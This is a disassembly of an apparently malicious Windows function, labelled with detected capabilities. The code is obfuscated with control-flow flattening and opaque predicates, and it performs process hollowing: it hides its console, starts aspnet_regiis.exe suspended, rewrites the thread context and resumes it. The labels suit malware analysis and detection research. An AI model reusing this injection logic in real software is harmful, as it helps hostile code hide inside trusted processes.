Function at 0x10002f20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x104
mov eax, dword [0x10045800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10046b28]
mov eax, dword [0x10046b24]
mov edx, ecx
sub edx, 0xbb91efa0
sub edx, 1
add edx, 0xbb91efa0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x106], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x105], al
mov dword [ebp - 0x10c], 0xed15d535
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
sub eax, 0x81d57952
je 0x10009bdb
jmp 0x10002f9b
mov eax, dword [ebp - 0x110]
sub eax, 0x82a17fc4
je 0x1000a6e7
jmp 0x10002fb1
mov eax, dword [ebp - 0x110]
sub eax, 0x834bfc76
je 0x1000a465
jmp 0x10002fc7
mov eax, dword [ebp - 0x110]
sub eax, 0x83532d4a
je 0x100060f4
jmp 0x10002fdd
mov eax, dword [ebp - 0x110]
sub eax, 0x84abc796
je 0x10007475
jmp 0x10002ff3
mov eax, dword [ebp - 0x110]
sub eax, 0x85004f21
je 0x100085c1
jmp 0x10003009
mov eax, dword [ebp - 0x110]
sub eax, 0x850ff848
je 0x10007da4
jmp 0x1000301f
mov eax, dword [ebp - 0x110]
sub eax, 0x85af03c3
je 0x1000772b
jmp 0x10003035
mov eax, dword [ebp - 0x110]
sub eax, 0x85cdafb8
je 0x10009f2d
jmp 0x1000304b
mov eax, dword [ebp - 0x110]
sub eax, 0x85f1d06e
je 0x10007de6
jmp 0x10003061
mov eax, dword [ebp - 0x110]
sub eax, 0x86a31e55
je 0x1000a7ce
jmp 0x10003077
mov eax, dword [ebp - 0x110]
sub eax, 0x86aed3ac
je 0x1000980d
jmp 0x1000308d
mov eax, dword [ebp - 0x110]
sub eax, 0x86b7ff2b
je 0x1000a600
jmp 0x100030a3
mov eax, dword [ebp - 0x110]
sub eax, 0x86caeefd
je 0x10008bde
jmp 0x100030b9
mov eax, dword [ebp - 0x110]
sub eax, 0x87df0166
je 0x10008d54
jmp 0x100030cf
mov eax, dword [ebp - 0x110]
sub eax, 0x87e57be7
je 0x1000a219
jmp 0x100030e5
mov eax, dword [ebp - 0x110]
sub eax, 0x896768f5
je 0x100061f1
jmp 0x100030fb
mov eax, dword [ebp - 0x110]
sub eax, 0x89c671df
je 0x10008742
jmp 0x10003111
mov eax, dword [ebp - 0x110]
sub eax, 0x89f9437e
je 0x100076e9
jmp 0x10003127
mov eax, dword [ebp - 0x110]
sub eax, 0x8a9c826d
je 0x100082e2
jmp 0x1000313d
mov eax, dword [ebp - 0x110]
sub eax, 0x8bb54ad1
je 0x10009491
jmp 0x10003153
mov eax, dword [ebp - 0x110]
sub eax, 0x8bd5a67e
je 0x10008bcf
jmp 0x10003169
mov eax, dword [ebp - 0x110]
sub eax, 0x8c1cfd12
je 0x1000a267
jmp 0x1000317f
mov eax, dword [ebp - 0x110]
sub eax, 0x8c2b746b
je 0x10005e17
jmp 0x10003195
mov eax, dword [ebp - 0x110]
sub eax, 0x8c2b7d44
je 0x10006ee3
jmp 0x100031ab
mov eax, dword [ebp - 0x110]
sub eax, 0x8d1bb76e
je 0x10008ab4
jmp 0x100031c1
mov eax, dword [ebp - 0x110]
sub eax, 0x8dc29dbd
je 0x1000595c
jmp 0x100031d7
mov eax, dword [ebp - 0x110]
sub eax, 0x8e83f350
je 0x100090f9
jmp 0x100031ed
mov eax, dword [ebp - 0x110]
sub eax, 0x8f5e0d74
je 0x10009c5f
jmp 0x10003203
mov eax, dword [ebp - 0x110]
sub eax, 0x8fdc1869
je 0x1000a495
jmp 0x10003219
mov eax, dword [ebp - 0x110]
sub eax, 0x90036c12
je 0x10007be1
jmp 0x1000322f
mov eax, dword [ebp - 0x110]
sub eax, 0x917e8d1b
je 0x1000a14e
jmp 0x10003245
mov eax, dword [ebp - 0x110]
sub eax, 0x91820fee
je 0x10008350
jmp 0x1000325b
mov eax, dword [ebp - 0x110]
sub eax, 0x91842854
je 0x10006655
jmp 0x10003271
mov eax, dword [ebp - 0x110]
sub eax, 0x91ab4904
je 0x10007013
jmp 0x10003287
mov eax, dword [ebp - 0x110]
sub eax, 0x92311e3a
je 0x1000a5be
jmp 0x1000329d
mov eax, dword [ebp - 0x110]
sub eax, 0x92d1b4b9
je 0x1000a414
jmp 0x100032b3
mov eax, dword [ebp - 0x110]
sub eax, 0x936f3b55
je 0x1000917d
jmp 0x100032c9
mov eax, dword [ebp - 0x110]
sub eax, 0x93ec1350
je 0x10006065
jmp 0x100032df
mov eax, dword [ebp - 0x110]
sub eax, 0x93eef99d
je 0x10006e28
jmp 0x100032f5
mov eax, dword [ebp - 0x110]
sub eax, 0x944cf743
je 0x10007769
jmp 0x1000330b
mov eax, dword [ebp - 0x110]
sub eax, 0x94693bc4
je 0x1000a3f3
jmp 0x10003321
mov eax, dword [ebp - 0x110]
sub eax, 0x9702a67c
je 0x100064d7
jmp 0x10003337
mov eax, dword [ebp - 0x110]
sub eax, 0x97ff07cb
je 0x1000a0d4
jmp 0x1000334d
mov eax, dword [ebp - 0x110]
sub eax, 0x9961a657
je 0x100087a5
jmp 0x10003363
mov eax, dword [ebp - 0x110]
sub eax, 0x99652e3f
je 0x10005363
jmp 0x10003379
mov eax, dword [ebp - 0x110]
sub eax, 0x99a59380
je 0x1000a435
jmp 0x1000338f
mov eax, dword [ebp - 0x110]
sub eax, 0x9a3e1398
je 0x10006dc9
jmp 0x100033a5
mov eax, dword [ebp - 0x110]
sub eax, 0x9b57ce73
je 0x10006f42
jmp 0x100033bb
mov eax, dword [ebp - 0x110]
sub eax, 0x9bc01e2c
je 0x100066da
jmp 0x100033d1
mov eax, dword [ebp - 0x110]
sub eax, 0x9cd5cf26
je 0x1000a056
jmp 0x100033e7
mov eax, dword [ebp - 0x110]
sub eax, 0x9d944e3e
je 0x100086f5
jmp 0x100033fd
mov eax, dword [ebp - 0x110]
sub eax, 0x9e3ff821
je 0x10007ed4
jmp 0x10003413
mov eax, dword [ebp - 0x110]
sub eax, 0x9f5e1f6d
je 0x1000a005
jmp 0x10003429
mov eax, dword [ebp - 0x110]
sub eax, 0x9f9c97ee
je 0x100068bc
jmp 0x1000343f
mov eax, dword [ebp - 0x110]
sub eax, 0xa0005876
je 0x1000805b
jmp 0x10003455
mov eax, dword [ebp - 0x110]
sub eax, 0xa05f5c35
je 0x1000a444
jmp 0x1000346b
mov eax, dword [ebp - 0x110]
sub eax, 0xa18f1ffe
je 0x10009c6e
jmp 0x10003481
mov eax, dword [ebp - 0x110]
sub eax, 0xa1ad4722
je 0x10006095
jmp 0x10003497
mov eax, dword [ebp - 0x110]
sub eax, 0xa208b9a8
je 0x10008c5e
jmp 0x100034ad
mov eax, dword [ebp - 0x110]
sub eax, 0xa24bc2ae
je 0x10009590
jmp 0x100034c3
mov eax, dword [ebp - 0x110]
sub eax, 0xa29e12ac
je 0x100077c8
jmp 0x100034d9
mov eax, dword [ebp - 0x110]
sub eax, 0xa2e8d94a
je 0x10007245
jmp 0x100034ef
mov eax, dword [ebp - 0x110]
sub eax, 0xa31b6552
je 0x10007811
jmp 0x10003505
mov eax, dword [ebp - 0x110]
sub eax, 0xa4a57481
je 0x10006056
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100012d0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100012d0
add esp, 4
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10017248]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10017244]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10017240]
movss dword [eax], xmm0
mov eax, dword [0x10046b28]
mov ecx, dword [0x10046b24]
mov edx, eax
sub edx, 0x9367f812
sub edx, 1
add edx, 0x9367f812
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd07f83d9
mov ecx, 0xefff955a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [0x10046b28]
mov ecx, dword [0x10046b24]
mov edx, eax
add edx, 0xd230da19
sub edx, 1
sub edx, 0xd230da19
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xec16a272
mov ecx, 0xf194d125
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10017370]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x72ac776
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0x557a6274
jmp 0x1000a9cb
mov dl, 1
mov eax, 0x83532d4a
mov ecx, 0x3ca7c8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [0x10046b28]
mov ecx, dword [0x10046b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6811c7c7
mov ecx, 0xdb7b3db0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [0x10046b28]
mov ecx, dword [0x10046b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe288ca4d
mov ecx, 0x61c93d1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001720c]
movss dword [eax], xmm0
mov ecx, dword [0x10046b28]
mov eax, dword [0x10046b24]
mov edx, ecx
add edx, 0x9c46cb6b
sub edx, 1
sub edx, 0x9c46cb6b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf8549641
mov ecx, 0x7d570b92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov ecx, dword [0x10046b28]
mov eax, dword [0x10046b24]
mov edx, ecx
sub edx, 0x3c4f60fb
sub edx, 1
add edx, 0x3c4f60fb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x631f2d98
mov ecx, 0xf4a02678
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10017344]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xc3485ecf
jmp 0x1000a9cb
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10017338]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xa98411e7
jmp 0x1000a9cb
mov dl, 1
mov eax, 0x93eef99d
mov ecx, 0x4888bacb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [0x10046b28]
mov ecx, dword [0x10046b24]
mov edx, eax
sub edx, 0xf3d21bd1
sub edx, 1
add edx, 0xf3d21bd1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x247c1843
mov ecx, 0xdf7c61ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov dl, 1
mov eax, 0x9b57ce73
mov ecx, 0x107c2f59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov ecx, dword [0x10046b28]
mov eax, dword [0x10046b24]
mov edx, ecx
add edx, 0x882cb028
sub edx, 1
sub edx, 0x882cb028
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8fdc1869
mov ecx, 0xea916ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0x1c7d8fa1
jmp 0x1000a9cb
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10017304]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x1594c6fb
jmp 0x1000a9cb
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100171e8]
movss dword [eax], xmm0
mov eax, dword [0x10046b28]
mov ecx, dword [0x10046b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a23cbce
mov ecx, 0x6102c3af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100172e0]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xd61ca2b9
jmp 0x1000a9cb
mov dl, 1
mov eax, 0x5cd13db1
mov ecx, 0x1a9da8c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100172d4]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x5cd13db1
jmp 0x1000a9cb
mov eax, dword [0x10046b28]
mov ecx, dword [0x10046b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7845d321
mov ecx, 0xa31b6552
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100171dc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100171d8]
movss dword [eax], xmm0
mov ecx, dword [0x10046b28]
mov eax, dword [0x10046b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7845d321
mov ecx, 0x2139ffb5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0x26ed640d
jmp 0x1000a9cb
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100172b8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100172b4]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x2e95d602
jmp 0x1000a9cb
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100172b0]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x4de1a46c
jmp 0x1000a9cb
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100171c4]
movss dword [eax], xmm0
mov ecx, dword [0x10046b28]
mov eax, dword [0x10046b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa813d9ed
mov ecx, 0xe0ce396c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0x3b9e13ab
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0xb2d46de2
jmp 0x1000a9cb
mov ecx, dword [0x10046b28]
mov eax, dword [0x10046b24]
mov edx, ecx
sub edx, 0xd9e7c2d1
sub edx, 1
add edx, 0xd9e7c2d1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x28990c81
mov ecx, 0xe7aaf39f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov dl, 1
mov eax, 0x216522a5
mov ecx, 0x41e3c151
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0x216522a5
jmp 0x1000a9cb
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001727c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10017278]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xc133f125
jmp 0x1000a9cb
mov eax, dword [0x10046b28]
mov ecx, dword [0x10046b24]
mov edx, eax
sub edx, 0x37608935
sub edx, 1
add edx, 0x37608935
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d0cb631
mov ecx, 0xef5cf4dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1001725c]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x41a73fc7
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0x86caeefd
jmp 0x1000a9cb
mov dl, 1
mov eax, 0x7d59eb6f
mov ecx, 0xa6a43231
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov dl, 1
mov eax, 0xaab609cd
mov ecx, 0xe0da242b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0xfe92a9d4
jmp 0x1000a9cb
mov eax, dword [ebp - 0xc8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov ecx, dword [0x10046b28]
mov eax, dword [0x10046b24]
mov edx, ecx
add edx, 0x382dd8b1
sub edx, 1
sub edx, 0x382dd8b1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1ee28e82
mov ecx, 0x936f3b55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0x543b8011
jmp 0x1000a9cb
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x10c], 0x338e28b1
jmp 0x1000a9cb
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x10c], 0xcfe8bb46
jmp 0x1000a9cb
mov dl, byte [ebp - 0x55]
mov eax, 0x6ce3c341
mov ecx, 0xddaacca9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov ecx, dword [0x10046b28]
mov eax, dword [0x10046b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc5563dbb
mov ecx, 0x8f5e0d74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0xa18f1ffe
jmp 0x1000a9cb
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
movzx eax, word [eax + ecx*2]
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x3f2a44ed
mov ecx, 0x17583567
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0xb0027be1
jmp 0x1000a9cb
mov eax, dword [0x10046b28]
mov ecx, dword [0x10046b24]
mov edx, eax
add edx, 0xed01b387
sub edx, 1
sub edx, 0xed01b387
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf986b90f
mov ecx, 0x9cd5cf26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x10046b28]
mov ecx, dword [0x10046b24]
mov edx, eax
add edx, 0xc47659a5
sub edx, 1
sub edx, 0xc47659a5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf986b90f
mov ecx, 0x97ff07cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0xeedcc6a7
jmp 0x1000a9cb
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000b170
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x10c], 0x3400b8fd
jmp 0x1000a9cb
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10017234]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x5eae39e5
jmp 0x1000a9cb
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10017204]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x201eff2e
jmp 0x1000a9cb
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10017200]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x196897a3
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0x68b476b9
jmp 0x1000a9cb
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100171fc]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xee84cb8
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0xbabfcae2
jmp 0x1000a9cb
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100171f4]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xea916ce
jmp 0x1000a9cb
mov dword [ebp - 0x10c], 0xc2bebe53
jmp 0x1000a9cb
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100171c8]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x39932a6
jmp 0x1000a9cb
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100171ac]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x2e086d0b
jmp 0x1000a9cb
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x10017190]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xea41c758
jmp 0x1000a9cb
jmp 0x10002f7f